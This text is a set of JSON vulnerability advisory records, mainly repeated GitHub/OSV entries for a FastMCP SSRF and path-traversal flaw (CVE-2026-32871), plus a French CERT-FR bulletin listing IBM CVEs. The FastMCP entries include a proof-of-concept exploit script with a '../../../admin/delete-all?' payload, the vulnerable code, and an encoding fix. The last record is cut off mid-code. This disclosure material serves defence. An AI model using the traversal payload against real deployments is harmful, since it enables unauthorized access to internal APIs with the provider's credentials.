  "details": "## Technical Description\n\nThe `OpenAPIProvider` in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The `RequestDirector` class is responsible for constructing HTTP requests to the backend service.\n\nA critical vulnerability exists in the `_build_url()` method. When an OpenAPI operation defines path parameters (e.g., `/api/v1/users/{user_id}`), the system directly substitutes parameter values into the URL template string **without URL-encoding**. Subsequently, `urllib.parse.urljoin()` resolves the final URL.\n\nSince `urljoin()` interprets `../` sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in **authenticated SSRF**, as requests are sent with the authorization headers configured in the MCP provider.\n\n---\n\n## Vulnerable Code\n\n**File:** `fastmcp/utilities/openapi/director.py`\n\n```python\ndef _build_url(\n    self, path_template: str, path_params: dict[str, Any], base_url: str\n) -\u003e str:\n    # Direct string substitution without encoding\n    url_path = path_template\n    for param_name, param_value in path_params.items():\n        placeholder = f\"{{{param_name}}}\"\n        if placeholder in url_path:\n            url_path = url_path.replace(placeholder, str(param_value))\n\n    # urljoin resolves ../ escape sequences\n    return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```\n\n### Root Cause\n\n1. Path parameters are substituted directly without URL encoding\n2. `urllib.parse.urljoin()` interprets `../` as directory traversal\n3. No validation prevents traversal sequences in parameter values\n4. Requests inherit the authentication context of the MCP provider\n\n---\n\n## Proof of Concept\n\n### Step 1: Backend API Setup\n\nCreate `internal_api.py` to simulate a vulnerable backend server:\n\n```python\nfrom fastapi import FastAPI, Header, HTTPException\nimport uvicorn\n\napp = FastAPI()\n\n@app.get(\"/api/v1/users/{user_id}/profile\")\ndef get_profile(user_id: str):\n    return {\"status\": \"success\", \"user\": user_id}\n\n@app.get(\"/admin/delete-all\")\ndef admin_endpoint(authorization: str = Header(None)):\n    if authorization == \"Bearer admin_secret\":\n        return {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n    raise HTTPException(status_code=401)\n\nif __name__ == \"__main__\":\n    uvicorn.run(app, host=\"127.0.0.1\", port=8080)\n```\n\n### Step 2: Exploitation Script\n\nCreate `exploit_poc.py`:\n\n```python\nimport asyncio\nimport httpx\nfrom fastmcp.utilities.openapi.director import RequestDirector\n\nasync def exploit_ssrf():\n    # Initialize vulnerable component\n    director = RequestDirector(spec={})\n    base_url = \"http://127.0.0.1:8080/\"\n    template = \"/api/v1/users/{id}/profile\"\n    \n    # Payload: Path traversal to reach /admin/delete-all\n    # The \u0027?\u0027 character neutralizes the rest of the original template\n    payload = \"../../../admin/delete-all?\"\n    \n    # Construct malicious URL\n    malicious_url = director._build_url(template, {\"id\": payload}, base_url)\n    print(f\"[*] Generated URL: {malicious_url}\")\n\n    async with httpx.AsyncClient() as client:\n        # Request inherits MCP provider\u0027s authorization headers\n        response = await client.get(\n            malicious_url, \n            headers={\"Authorization\": \"Bearer admin_secret\"}\n        )\n        print(f\"[+] Status Code: {response.status_code}\")\n        print(f\"[+] Response: {response.text}\")\n\nif __name__ == \"__main__\":\n    asyncio.run(exploit_ssrf())\n```\n\n### Expected Output\n\n```\n[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?\n[+] Status Code: 200\n[+] Response: {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n```\n\nThe attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider\u0027s authentication credentials.\n\n---\n\n## Impact Assessment\n\n### Severity Justification\n\n- **Unauthorized Access**: Attackers can interact with private endpoints not exposed in the OpenAPI specification\n- **Privilege Escalation**: The attacker operates within the MCP provider\u0027s security context and credentials\n- **Authentication Bypass**: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented\n- **Data Exfiltration**: Sensitive internal APIs can be accessed and exploited\n- **Lateral Movement**: Internal-only services may be compromised from the network boundary\n\n### Attack Scenarios\n\n1. **Accessing Admin Panels**: Bypass API restrictions to reach administrative endpoints\n2. **Data Theft**: Access internal databases or sensitive information endpoints\n3. **Service Disruption**: Trigger destructive operations on backend services\n4. **Credential Extraction**: Access endpoints returning API keys, tokens, or credentials\n\n---\n\n## Remediation\n\n### Recommended Fix\n\nURL-encode all path parameter values **before** substitution to ensure reserved characters (`/`, `.`, `?`, `#`) are treated as literal data, not path delimiters.\n\n**Updated code for `_build_url()` method:**\n\n```python\nimport urllib.parse\n\ndef _build_url(\n    self, path_template: str, path_params: dict[str, Any], base_url: str\n) -\u003e str:\n    url_path = path_template\n    for param_name, param_value in path_params.items():\n        placeholder = f\"{{{param_name}}}\"\n        if placeholder in url_path:\n            # Apply safe URL encoding to prevent traversal attacks\n            # safe=\"\" ensures ALL special characters are encoded\n            safe_value = urllib.parse.quote(str(param_value), safe=\"\")\n            url_path = url_path.replace(placeholder, safe_value)\n\n    return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```",
  "id": "BREW-omnara-CVE-2026-32871",
  "modified": "2026-10-07T23:40:38Z",
  "published": "2026-08-13T17:19:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-vv7q-7jx5-f767"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32871"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/pull/3507"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/commit/40bdfb6b1de0ce30609ee9ba5bb95ecd04a9fb71"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PrefectHQ/fastmcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/releases/tag/v3.2.0"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FastMCP OpenAPI Provider has an SSRF \u0026 Path Traversal Vulnerability",
  "upstream": [
    "GHSA-vv7q-7jx5-f767",
    "CVE-2026-32871",
    "PYSEC-2026-338"
  ]
}

{
  "$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
  "affected_systems": [
    {
      "description": "AIX 7.2 et 7.3 sans le correctif 301610mc.260424.epkg.Z",
      "product": {
        "name": "AIX",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "IBM Sterling Transformation Extender versions 11.0.0.0 sans le correctif PH71092",
      "product": {
        "name": "Sterling",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "IBM Sterling Transformation Extender versions 10.1.0.3 sans le correctif PH71092",
      "product": {
        "name": "Sterling",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "SOAR QRadar Plugin App versions ant\u00e9rieures \u00e0 5.6.4",
      "product": {
        "name": "QRadar",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "QRadar AI Assistant versions ant\u00e9rieures \u00e0 1.5.0",
      "product": {
        "name": "QRadar",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "IBM Sterling Transformation Extender versions 10.1.1.2 sans le correctif PH71092",
      "product": {
        "name": "Sterling",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "IBM Sterling Transformation Extender versions 10.1.2.2 sans le correctif PH71092",
      "product": {
        "name": "Sterling",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "VIOS 4.1 sans le correctif 301610mc.260424.epkg.Z",
      "product": {
        "name": "VIOS",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    }
  ],
  "affected_systems_content": "",
  "content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
  "cves": [
    {
      "name": "CVE-2026-40087",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40087"
    },
    {
      "name": "CVE-2026-39892",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39892"
    },
    {
      "name": "CVE-2026-33123",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33123"
    },
    {
      "name": "CVE-2026-22013",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-22013"
    },
    {
      "name": "CVE-2026-22018",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-22018"
    },
    {
      "name": "CVE-2026-34073",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34073"
    },
    {
      "name": "CVE-2021-23337",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-23337"
    },
    {
      "name": "CVE-2025-62718",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-62718"
    },
    {
      "name": "CVE-2026-25645",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-25645"
    },
    {
      "name": "CVE-2026-4800",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-4800"
    },
    {
      "name": "CVE-2026-0540",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-0540"
    },
    {
      "name": "CVE-2026-28389",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-28389"
    },
    {
      "name": "CVE-2026-33671",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33671"
    },
    {
      "name": "CVE-2026-34515",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34515"
    },
    {
      "name": "CVE-2026-34519",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34519"
    },
    {
      "name": "CVE-2026-40175",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40175"
    },
    {
      "name": "CVE-2026-34518",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34518"
    },
    {
      "name": "CVE-2026-34525",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34525"
    },
    {
      "name": "CVE-2026-28387",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-28387"
    },
    {
      "name": "CVE-2026-28388",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-28388"
    },
    {
      "name": "CVE-2026-4539",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-4539"
    },
    {
      "name": "CVE-2026-2950",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-2950"
    },
    {
      "name": "CVE-2026-22016",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-22016"
    },
    {
      "name": "CVE-2026-22021",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-22021"
    },
    {
      "name": "CVE-2026-22007",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-22007"
    },
    {
      "name": "CVE-2026-27124",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-27124"
    },
    {
      "name": "CVE-2026-34268",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34268"
    },
    {
      "name": "CVE-2026-28390",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-28390"
    },
    {
      "name": "CVE-2026-33672",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33672"
    },
    {
      "name": "CVE-2026-27459",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-27459"
    },
    {
      "name": "CVE-2026-34516",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34516"
    },
    {
      "name": "CVE-2026-27448",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-27448"
    },
    {
      "name": "CVE-2026-31789",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-31789"
    },
    {
      "name": "CVE-2026-34517",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34517"
    },
    {
      "name": "CVE-2026-32871",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-32871"
    },
    {
      "name": "CVE-2026-34513",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34513"
    },
    {
      "name": "CVE-2026-34514",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34514"
    },
    {
      "name": "CVE-2026-34520",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34520"
    },
    {
      "name": "CVE-2025-64340",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-64340"
    },
    {
      "name": "CVE-2026-28804",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-28804"
    },
    {
      "name": "CVE-2026-29063",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-29063"
    },
    {
      "name": "CVE-2026-22815",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-22815"
    },
    {
      "name": "CVE-2025-13465",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-13465"
    },
    {
      "name": "CVE-2025-67221",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-67221"
    },
    {
      "name": "CVE-2026-25547",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-25547"
    },
    {
      "name": "CVE-2026-31790",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-31790"
    },
    {
      "name": "CVE-2026-34070",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34070"
    }
  ],
  "initial_release_date": "2026-05-07T00:00:00",
  "last_revision_date": "2026-05-07T00:00:00",
  "links": [],
  "reference": "CERTFR-2026-AVI-0550",
  "revisions": [
    {
      "description": "Version initiale",
      "revision_date": "2026-05-07T00:00:00.000000"
    }
  ],
  "risks": [
    {
      "description": "D\u00e9ni de service \u00e0 distance"
    },
    {
      "description": "Injection de code indirecte \u00e0 distance (XSS)"
    },
    {
      "description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
    },
    {
      "description": "Atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es"
    },
    {
      "description": "Falsification de requ\u00eates c\u00f4t\u00e9 serveur (SSRF)"
    },
    {
      "description": "Contournement de la politique de s\u00e9curit\u00e9"
    },
    {
      "description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
    }
  ],
  "summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans les produits IBM. Certaines d\u0027entre elles permettent \u00e0 un attaquant de provoquer une ex\u00e9cution de code arbitraire \u00e0 distance, un d\u00e9ni de service \u00e0 distance et une atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es.",
  "title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits IBM",
  "vendor_advisories": [
    {
      "published_at": "2026-05-05",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7271707",
      "url": "https://www.ibm.com/support/pages/node/7271707"
    },
    {
      "published_at": "2026-05-06",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7271922",
      "url": "https://www.ibm.com/support/pages/node/7271922"
    },
    {
      "published_at": "2026-05-04",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7271681",
      "url": "https://www.ibm.com/support/pages/node/7271681"
    },
    {
      "published_at": "2026-05-05",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7271765",
      "url": "https://www.ibm.com/support/pages/node/7271765"
    }
  ]
}

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      "lang": "en",
      "value": "FastMCP is a Pythonic way to build MCP servers and clients. Prior to version 3.2.0, the OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service. A vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL. Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider. This issue has been patched in version 3.2.0."
    },
    {
      "lang": "es",
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{
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        "ecosystem": "PyPI",
        "name": "fastmcp"
      },
      "ranges": [
        {
          "events": [
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              "introduced": "0"
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  ],
  "aliases": [
    "CVE-2026-32871"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T22:53:21Z",
    "nvd_published_at": "2026-04-02T15:16:38Z",
    "severity": "CRITICAL"
  },
  "details": "## Technical Description\n\nThe `OpenAPIProvider` in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The `RequestDirector` class is responsible for constructing HTTP requests to the backend service.\n\nA critical vulnerability exists in the `_build_url()` method. When an OpenAPI operation defines path parameters (e.g., `/api/v1/users/{user_id}`), the system directly substitutes parameter values into the URL template string **without URL-encoding**. Subsequently, `urllib.parse.urljoin()` resolves the final URL.\n\nSince `urljoin()` interprets `../` sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in **authenticated SSRF**, as requests are sent with the authorization headers configured in the MCP provider.\n\n---\n\n## Vulnerable Code\n\n**File:** `fastmcp/utilities/openapi/director.py`\n\n```python\ndef _build_url(\n    self, path_template: str, path_params: dict[str, Any], base_url: str\n) -\u003e str:\n    # Direct string substitution without encoding\n    url_path = path_template\n    for param_name, param_value in path_params.items():\n        placeholder = f\"{{{param_name}}}\"\n        if placeholder in url_path:\n            url_path = url_path.replace(placeholder, str(param_value))\n\n    # urljoin resolves ../ escape sequences\n    return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```\n\n### Root Cause\n\n1. Path parameters are substituted directly without URL encoding\n2. `urllib.parse.urljoin()` interprets `../` as directory traversal\n3. No validation prevents traversal sequences in parameter values\n4. Requests inherit the authentication context of the MCP provider\n\n---\n\n## Proof of Concept\n\n### Step 1: Backend API Setup\n\nCreate `internal_api.py` to simulate a vulnerable backend server:\n\n```python\nfrom fastapi import FastAPI, Header, HTTPException\nimport uvicorn\n\napp = FastAPI()\n\n@app.get(\"/api/v1/users/{user_id}/profile\")\ndef get_profile(user_id: str):\n    return {\"status\": \"success\", \"user\": user_id}\n\n@app.get(\"/admin/delete-all\")\ndef admin_endpoint(authorization: str = Header(None)):\n    if authorization == \"Bearer admin_secret\":\n        return {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n    raise HTTPException(status_code=401)\n\nif __name__ == \"__main__\":\n    uvicorn.run(app, host=\"127.0.0.1\", port=8080)\n```\n\n### Step 2: Exploitation Script\n\nCreate `exploit_poc.py`:\n\n```python\nimport asyncio\nimport httpx\nfrom fastmcp.utilities.openapi.director import RequestDirector\n\nasync def exploit_ssrf():\n    # Initialize vulnerable component\n    director = RequestDirector(spec={})\n    base_url = \"http://127.0.0.1:8080/\"\n    template = \"/api/v1/users/{id}/profile\"\n    \n    # Payload: Path traversal to reach /admin/delete-all\n    # The \u0027?\u0027 character neutralizes the rest of the original template\n    payload = \"../../../admin/delete-all?\"\n    \n    # Construct malicious URL\n    malicious_url = director._build_url(template, {\"id\": payload}, base_url)\n    print(f\"[*] Generated URL: {malicious_url}\")\n\n    async with httpx.AsyncClient() as client:\n        # Request inherits MCP provider\u0027s authorization headers\n        response = await client.get(\n            malicious_url, \n            headers={\"Authorization\": \"Bearer admin_secret\"}\n        )\n        print(f\"[+] Status Code: {response.status_code}\")\n        print(f\"[+] Response: {response.text}\")\n\nif __name__ == \"__main__\":\n    asyncio.run(exploit_ssrf())\n```\n\n### Expected Output\n\n```\n[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?\n[+] Status Code: 200\n[+] Response: {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n```\n\nThe attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider\u0027s authentication credentials.\n\n---\n\n## Impact Assessment\n\n### Severity Justification\n\n- **Unauthorized Access**: Attackers can interact with private endpoints not exposed in the OpenAPI specification\n- **Privilege Escalation**: The attacker operates within the MCP provider\u0027s security context and credentials\n- **Authentication Bypass**: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented\n- **Data Exfiltration**: Sensitive internal APIs can be accessed and exploited\n- **Lateral Movement**: Internal-only services may be compromised from the network boundary\n\n### Attack Scenarios\n\n1. **Accessing Admin Panels**: Bypass API restrictions to reach administrative endpoints\n2. **Data Theft**: Access internal databases or sensitive information endpoints\n3. **Service Disruption**: Trigger destructive operations on backend services\n4. **Credential Extraction**: Access endpoints returning API keys, tokens, or credentials\n\n---\n\n## Remediation\n\n### Recommended Fix\n\nURL-encode all path parameter values **before** substitution to ensure reserved characters (`/`, `.`, `?`, `#`) are treated as literal data, not path delimiters.\n\n**Updated code for `_build_url()` method:**\n\n```python\nimport urllib.parse\n\ndef _build_url(\n    self, path_template: str, path_params: dict[str, Any], base_url: str\n) -\u003e str:\n    url_path = path_template\n    for param_name, param_value in path_params.items():\n        placeholder = f\"{{{param_name}}}\"\n        if placeholder in url_path:\n            # Apply safe URL encoding to prevent traversal attacks\n            # safe=\"\" ensures ALL special characters are encoded\n            safe_value = urllib.parse.quote(str(param_value), safe=\"\")\n            url_path = url_path.replace(placeholder, safe_value)\n\n    return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```",
  "id": "GHSA-vv7q-7jx5-f767",
  "modified": "2026-10-27T16:40:34Z",
  "published": "2026-03-31T22:53:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-vv7q-7jx5-f767"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32871"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/pull/3507"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/commit/40bdfb6b1de0ce30609ee9ba5bb95ecd04a9fb71"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36350"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-32871"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2454434"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PrefectHQ/fastmcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/releases/tag/v3.2.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/fastmcp/PYSEC-2026-338.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/fastmcp"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-32871.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FastMCP OpenAPI Provider has an SSRF \u0026 Path Traversal Vulnerability"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "fastmcp",
        "purl": "pkg:pypi/fastmcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.0",
        "0.2.0",
        "0.3.0",
        "0.3.1",
        "0.3.2",
        "0.3.3",
        "0.3.4",
        "0.3.5",
        "0.4.0",
        "0.4.1",
        "1.0",
        "2.0.0",
        "2.1.0",
        "2.1.1",
        "2.1.2",
        "2.10.0",
        "2.10.1",
        "2.10.2",
        "2.10.3",
        "2.10.4",
        "2.10.5",
        "2.10.6",
        "2.11.0",
        "2.11.1",
        "2.11.2",
        "2.11.3",
        "2.12.0",
        "2.12.0rc1",
        "2.12.1",
        "2.12.2",
        "2.12.3",
        "2.12.4",
        "2.12.5",
        "2.13.0",
        "2.13.0.1",
        "2.13.0.2",
        "2.13.0rc1",
        "2.13.0rc2",
        "2.13.0rc3",
        "2.13.1",
        "2.13.2",
        "2.13.3",
        "2.14.0",
        "2.14.1",
        "2.14.2",
        "2.14.3",
        "2.14.4",
        "2.14.5",
        "2.14.6",
        "2.14.7",
        "2.2.0",
        "2.2.1",
        "2.2.10",
        "2.2.2",
        "2.2.3",
        "2.2.4",
        "2.2.5",
        "2.2.6",
        "2.2.7",
        "2.2.8",
        "2.2.9",
        "2.3.0",
        "2.3.0rc1",
        "2.3.1",
        "2.3.2",
        "2.3.3",
        "2.3.4",
        "2.3.5",
        "2.4.0",
        "2.5.0",
        "2.5.1",
        "2.5.2",
        "2.6.0",
        "2.6.1",
        "2.7.0",
        "2.7.1",
        "2.8.0",
        "2.8.1",
        "2.9.0",
        "2.9.1",
        "2.9.2",
        "3.0.0",
        "3.0.0b1",
        "3.0.0b2",
        "3.0.0rc1",
        "3.0.0rc2",
        "3.0.0rc3",
        "3.0.1",
        "3.0.2",
        "3.1.0",
        "3.1.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32871",
    "GHSA-vv7q-7jx5-f767"
  ],
  "details": "## Technical Description\n\nThe `OpenAPIProvider` in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The `RequestDirector` class is responsible for constructing HTTP requests to the backend service.\n\nA critical vulnerability exists in the `_build_url()` method. When an OpenAPI operation defines path parameters (e.g., `/api/v1/users/{user_id}`), the system directly substitutes parameter values into the URL template string **without URL-encoding**. Subsequently, `urllib.parse.urljoin()` resolves the final URL.\n\nSince `urljoin()` interprets `../` sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in **authenticated SSRF**, as requests are sent with the authorization headers configured in the MCP provider.\n\n---\n \n## Vulnerable Code\n\n**File:** `fastmcp/utilities/openapi/director.py`\n\n```python\n def _build_url(\n    self, path_template: str, path_params: dict[str, Any], base_url: str\n) -\u003e str:\n    # Direct string substitution without encoding\n    url_path = path_template\n    for param_name, param_value in path_params.items():\n        placeholder = f\"{{{param_name}}}\"\n        if placeholder in url_path:\n            url_path = url_path.replace(placeholder, str(param_value))\n\n    # urljoin resolves ../ escape sequences\n    return urljoin(base_url.rstrip(\"/\" ) + \"/\", url_path.lstrip(\"/\"))\n```\n\n### Root Cause\n\n1. Path parameters are substituted directly without URL encoding\n2. `urllib.parse.urljoin()` interprets `../` as directory traversal\n3. No validation prevents traversal sequences in parameter values\n4. Requests inherit the authentication context of the MCP provider\n\n---\n \n## Proof of Concept\n\n### Step 1: Backend API Setup\n\nCreate `internal_api.py` to simulate a vulnerable backend server:\n\n```python\nfrom fastapi import FastAPI, Header, HTTPException\nimport uvicorn\n\napp = FastAPI()\n\n@app.get(\"/api/v1/users/{user_id}/profile\")\ndef get_profile(user_id: str):\n    return {\"status\": \"success\", \"user\": user_id}\n\n@app.get(\"/admin/delete-all\")\ndef admin_endpoint(authorization: str = Header(None)):\n    if authorization == \"Bearer admin_secret\":\n        return {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n    raise HTTPException(status_code=401)\n\nif __name__ == \"__main__\":\n    uvicorn.run(app, host=\"127.0.0.1\", port=8080)\n```\n\n### Step 2: Exploitation Script\n\nCreate `exploit_poc.py`:\n\n```python\nimport asyncio\nimport httpx\n from fastmcp.utilities.openapi.director import RequestDirector\n\nasync def exploit_ssrf():\n    # Initialize vulnerable component\n    director = RequestDirector(spec={})\n    base_url = \"http://127.0.0.1:8080/\"\n    template = \"/api/v1/users/{id}/profile\"\n    \n    # Payload: Path traversal to reach /admin/delete-all\n    # The \u0027?\u0027 character neutralizes the rest of the original template\n    payload = \"../../../admin/delete-all?\"\n    \n    # Construct malicious URL\n    malicious_url = director._build_url(template, {\"id\": payload}, base_url)\n    print(f\"[*] Generated URL: {malicious_url}\")\n\n    async with httpx.AsyncClient() as client:\n        # Request inherits MCP provider\u0027s authorization headers\n        response = await client.get(\n            malicious_url, \n            headers={\"Authorization\": \"Bearer admin_secret\"}\n        )\n        print(f\"[+] Status Code: {response.status_code}\")\n        print(f\"[+] Response: {response.text}\")\n\nif __name__ == \"__main__\":\n    asyncio.run(exploit_ssrf())\n```\n\n### Expected Output\n\n```\n[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?\n[+] Status Code: 200\n[+] Response: {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n```\n \nThe attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider\u0027s authentication credentials.\n\n---\n\n## Impact Assessment\n \n### Severity Justification\n\n- **Unauthorized Access**: Attackers can interact with private endpoints not exposed in the OpenAPI specification\n- **Privilege Escalation**: The attacker operates within the MCP provider\u0027s security context and credentials\n - **Authentication Bypass**: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented\n- **Data Exfiltration**: Sensitive internal APIs can be accessed and exploited\n- **Lateral Movement**: Internal-only services may be compromised from the network boundary\n\n### Attack Scenarios\n\n 1. **Accessing Admin Panels**: Bypass API restrictions to reach administrative endpoints\n 2. **Data Theft**: Access internal databases or sensitive information endpoints\n 3. **Service Disruption**: Trigger destructive operations on backend services\n 4. **Credential Extraction**: Access endpoints returning API keys, tokens, or credentials\n \n---\n\n## Remediation\n\n### Recommended Fix\n\nURL-encode all path parameter values **before** substitution to ensure reserved characters (`/`, `.`, `?`, `#`) are treated as literal data, not path delimiters.\n\n**Updated code for `_build_url()` method:**\n\n```python\nimport urllib.parse\n\ndef _build_url(\n    self, path_template: str, path_params: dict[str, Any], base_url: str\n) -\u003e str:\n    url_path = path_template\n    for param_name, param_value in 